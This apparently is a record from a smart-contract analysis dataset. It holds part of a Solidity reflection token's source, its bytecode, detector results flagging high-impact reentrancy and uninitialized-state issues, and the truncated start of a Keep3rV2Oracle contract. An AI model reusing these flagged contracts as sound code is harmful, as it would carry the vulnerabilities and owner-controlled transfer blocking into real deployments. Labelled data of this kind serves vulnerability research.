function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_redistributionAddress = 3;
_feeAddr2 = 7;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
if (block.timestamp < openTradingTime + 1 minutes) {
require(amount <= _maxTxAmount);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_selfFundingAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
openTradingTime = block.timestamp;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _selfFundingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _selfFundingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b604051610130919061242d565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612036565b61041a565b60405161016d9190612412565b60405180910390f35b34801561018257600080fd5b5061018b610438565b604051610198919061254f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fe3565b610449565b6040516101d59190612412565b60405180910390f35b3480156101ea57600080fd5b506101f3610522565b005b34801561020157600080fd5b5061020a6105c9565b60405161021791906125c4565b60405180910390f35b34801561022c57600080fd5b506102356105d2565b604051610242919061254f565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612076565b6105d8565b005b34801561028057600080fd5b5061028961068a565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f49565b6106fc565b6040516102bf919061254f565b60405180910390f35b3480156102d457600080fd5b506102dd61074d565b005b3480156102eb57600080fd5b506102f46108a0565b6040516103019190612344565b60405180910390f35b34801561031657600080fd5b5061031f6108c9565b60405161032c919061242d565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190612036565b610906565b6040516103699190612412565b60405180910390f35b34801561037e57600080fd5b50610387610924565b005b34801561039557600080fd5b5061039e61099e565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611fa3565b610f02565b6040516103d4919061254f565b60405180910390f35b60606040518060400160405280600981526020017f4e65766572205275670000000000000000000000000000000000000000000000815250905090565b600061042e610427610f89565b8484610f91565b6001905092915050565b6000683635c9adc5dea00000905090565b600061045684848461115c565b61051784610462610f89565b61051285604051806060016040528060288152602001612b0160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c8610f89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f9092919063ffffffff16565b610f91565b600190509392505050565b61052a610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906124cf565b60405180910390fd5b683635c9adc5dea00000601081905550565b60006009905090565b600f5481565b6105e0610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610664906124cf565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cb610f89565b73ffffffffffffffffffffffffffffffffffffffff16146106eb57600080fd5b60004790506106f9816114b3565b50565b6000610746600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151f565b9050919050565b610755610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d9906124cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e52554700000000000000000000000000000000000000000000000000000000815250905090565b600061091a610913610f89565b848461115c565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610965610f89565b73ffffffffffffffffffffffffffffffffffffffff161461098557600080fd5b6000610990306106fc565b905061099b8161158d565b50565b6109a6610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a906124cf565b60405180910390fd5b600e60149054906101000a900460ff1615610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a9061252f565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1a30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610f91565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6057600080fd5b505afa158015610b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b989190611f76565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190611f76565b6040518363ffffffff1660e01b8152600401610c4f92919061235f565b602060405180830381600087803b158015610c6957600080fd5b505af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190611f76565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d2a306106fc565b600080610d356108a0565b426040518863ffffffff1660e01b8152600401610d57969594939291906123b1565b6060604051808303818588803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da991906120d0565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eac929190612388565b602060405180830381600087803b158015610ec657600080fd5b505af1158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe91906120a3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff89061250f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611071576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110689061246f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114f919061254f565b60405180910390a3505050565b6000811161119f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611196906124ef565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461143f576003600a819055506007600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112e45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561133a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113525750600e60179054906101000a900460ff165b1561137e57603c600f546113669190612634565b42101561137d5760105481111561137c57600080fd5b5b5b6000611389306106fc565b9050600e60159054906101000a900460ff161580156113f65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140e5750600e60169054906101000a900460ff165b1561143d5761141c8161158d565b6000479050670429d069189e000081111561143b5761143a476114b3565b5b505b505b61144a838383611815565b505050565b6000838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e919061242d565b60405180910390fd5b50600083856114a69190612715565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561151b573d6000803e3d6000fd5b5050565b6000600854821115611566576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155d9061244f565b60405180910390fd5b6000611570611825565b9050611585818461185090919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115c5576115c4612870565b5b6040519080825280602002602001820160405280156115f35781602001602082028036833780820191505090505b509050308160008151811061160b5761160a612841565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ad57600080fd5b505afa1580156116c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e59190611f76565b816001815181106116f9576116f8612841565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f91565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117c495949392919061256a565b600060405180830381600087803b1580156117de57600080fd5b505af11580156117f2573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61182083838361189a565b505050565b6000806000611832611a65565b91509150611849818361185090919063ffffffff16565b9250505090565b600061189283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac7565b905092915050565b6000806000806000806118ac87611b2a565b95509550955095509550955061190a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119eb81611c3a565b6119f58483611cf7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a52919061254f565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611a9b683635c9adc5dea0000060085461185090919063ffffffff16565b821015611aba57600854683635c9adc5dea00000935093505050611ac3565b81819350935050505b9091565b60008083118290611b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b05919061242d565b60405180910390fd5b5060008385611b1d919061268a565b9050809150509392505050565b6000806000806000806000806000611b478a600a54600b54611d31565b9250925092506000611b57611825565b90506000806000611b6a8e878787611dc7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061144f565b905092915050565b6000808284611beb9190612634565b905083811015611c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c279061248f565b60405180910390fd5b8091505092915050565b6000611c44611825565b90506000611c5b8284611e5090919063ffffffff16565b9050611caf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0c82600854611b9290919063ffffffff16565b600881905550611d2781600954611bdc90919063ffffffff16565b6009819055505050565b600080600080611d5d6064611d4f888a611e5090919063ffffffff16565b61185090919063ffffffff16565b90506000611d876064611d79888b611e5090919063ffffffff16565b61185090919063ffffffff16565b90506000611db082611da2858c611b9290919063ffffffff16565b611b9290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611de08589611e5090919063ffffffff16565b90506000611df78689611e5090919063ffffffff16565b90506000611e0e8789611e5090919063ffffffff16565b90506000611e3782611e298587611b9290919063ffffffff16565b611b9290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e635760009050611ec5565b60008284611e7191906126bb565b9050828482611e80919061268a565b14611ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb7906124af565b60405180910390fd5b809150505b92915050565b600081359050611eda81612abb565b92915050565b600081519050611eef81612abb565b92915050565b600081359050611f0481612ad2565b92915050565b600081519050611f1981612ad2565b92915050565b600081359050611f2e81612ae9565b92915050565b600081519050611f4381612ae9565b92915050565b600060208284031215611f5f57611f5e61289f565b5b6000611f6d84828501611ecb565b91505092915050565b600060208284031215611f8c57611f8b61289f565b5b6000611f9a84828501611ee0565b91505092915050565b60008060408385031215611fba57611fb961289f565b5b6000611fc885828601611ecb565b9250506020611fd985828601611ecb565b9150509250929050565b600080600060608486031215611ffc57611ffb61289f565b5b600061200a86828701611ecb565b935050602061201b86828701611ecb565b925050604061202c86828701611f1f565b9150509250925092565b6000806040838503121561204d5761204c61289f565b5b600061205b85828601611ecb565b925050602061206c85828601611f1f565b9150509250929050565b60006020828403121561208c5761208b61289f565b5b600061209a84828501611ef5565b91505092915050565b6000602082840312156120b9576120b861289f565b5b60006120c784828501611f0a565b91505092915050565b6000806000606084860312156120e9576120e861289f565b5b60006120f786828701611f34565b935050602061210886828701611f34565b925050604061211986828701611f34565b9150509250925092565b600061212f838361213b565b60208301905092915050565b61214481612749565b82525050565b61215381612749565b82525050565b6000612164826125ef565b61216e8185612612565b9350612179836125df565b8060005b838110156121aa5781516121918882612123565b975061219c83612605565b92505060018101905061217d565b5085935050505092915050565b6121c08161275b565b82525050565b6121cf8161279e565b82525050565b60006121e0826125fa565b6121ea8185612623565b93506121fa8185602086016127b0565b612203816128a4565b840191505092915050565b600061221b602a83612623565b9150612226826128b5565b604082019050919050565b600061223e602283612623565b915061224982612904565b604082019050919050565b6000612261601b83612623565b915061226c82612953565b602082019050919050565b6000612284602183612623565b915061228f8261297c565b604082019050919050565b60006122a7602083612623565b91506122b2826129cb565b602082019050919050565b60006122ca602983612623565b91506122d5826129f4565b604082019050919050565b60006122ed602483612623565b91506122f882612a43565b604082019050919050565b6000612310601783612623565b915061231b82612a92565b602082019050919050565b61232f81612787565b82525050565b61233e81612791565b82525050565b6000602082019050612359600083018461214a565b92915050565b6000604082019050612374600083018561214a565b612381602083018461214a565b9392505050565b600060408201905061239d600083018561214a565b6123aa6020830184612326565b9392505050565b600060c0820190506123c6600083018961214a565b6123d36020830188612326565b6123e060408301876121c6565b6123ed60608301866121c6565b6123fa608083018561214a565b61240760a0830184612326565b979650505050505050565b600060208201905061242760008301846121b7565b92915050565b6000602082019050818103600083015261244781846121d5565b905092915050565b600060208201905081810360008301526124688161220e565b9050919050565b6000602082019050818103600083015261248881612231565b9050919050565b600060208201905081810360008301526124a881612254565b9050919050565b600060208201905081810360008301526124c881612277565b9050919050565b600060208201905081810360008301526124e88161229a565b9050919050565b60006020820190508181036000830152612508816122bd565b9050919050565b60006020820190508181036000830152612528816122e0565b9050919050565b6000602082019050818103600083015261254881612303565b9050919050565b60006020820190506125646000830184612326565b92915050565b600060a08201905061257f6000830188612326565b61258c60208301876121c6565b818103604083015261259e8186612159565b90506125ad606083018561214a565b6125ba6080830184612326565b9695505050505050565b60006020820190506125d96000830184612335565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061263f82612787565b915061264a83612787565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561267f5761267e6127e3565b5b828201905092915050565b600061269582612787565b91506126a083612787565b9250826126b0576126af612812565b5b828204905092915050565b60006126c682612787565b91506126d183612787565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270a576127096127e3565b5b828202905092915050565b600061272082612787565b915061272b83612787565b92508282101561273e5761273d6127e3565b5b828203905092915050565b600061275482612767565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127a982612787565b9050919050565b60005b838110156127ce5780820151818401526020810190506127b3565b838111156127dd576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612ac481612749565b8114612acf57600080fd5b50565b612adb8161275b565b8114612ae657600080fd5b50565b612af281612787565b8114612afd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062cbe170701c4565589491fdcb0a5c11a22add0a5c34e50f6e15c5a575be3b8364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,164 |
0xab26f32ee1e5844d0F99d23328103325E1630700
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
// Part: IKeep3rV1Helper
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
// Part: IKeep3rV1
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
// Part: Keep3rV2Oracle
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
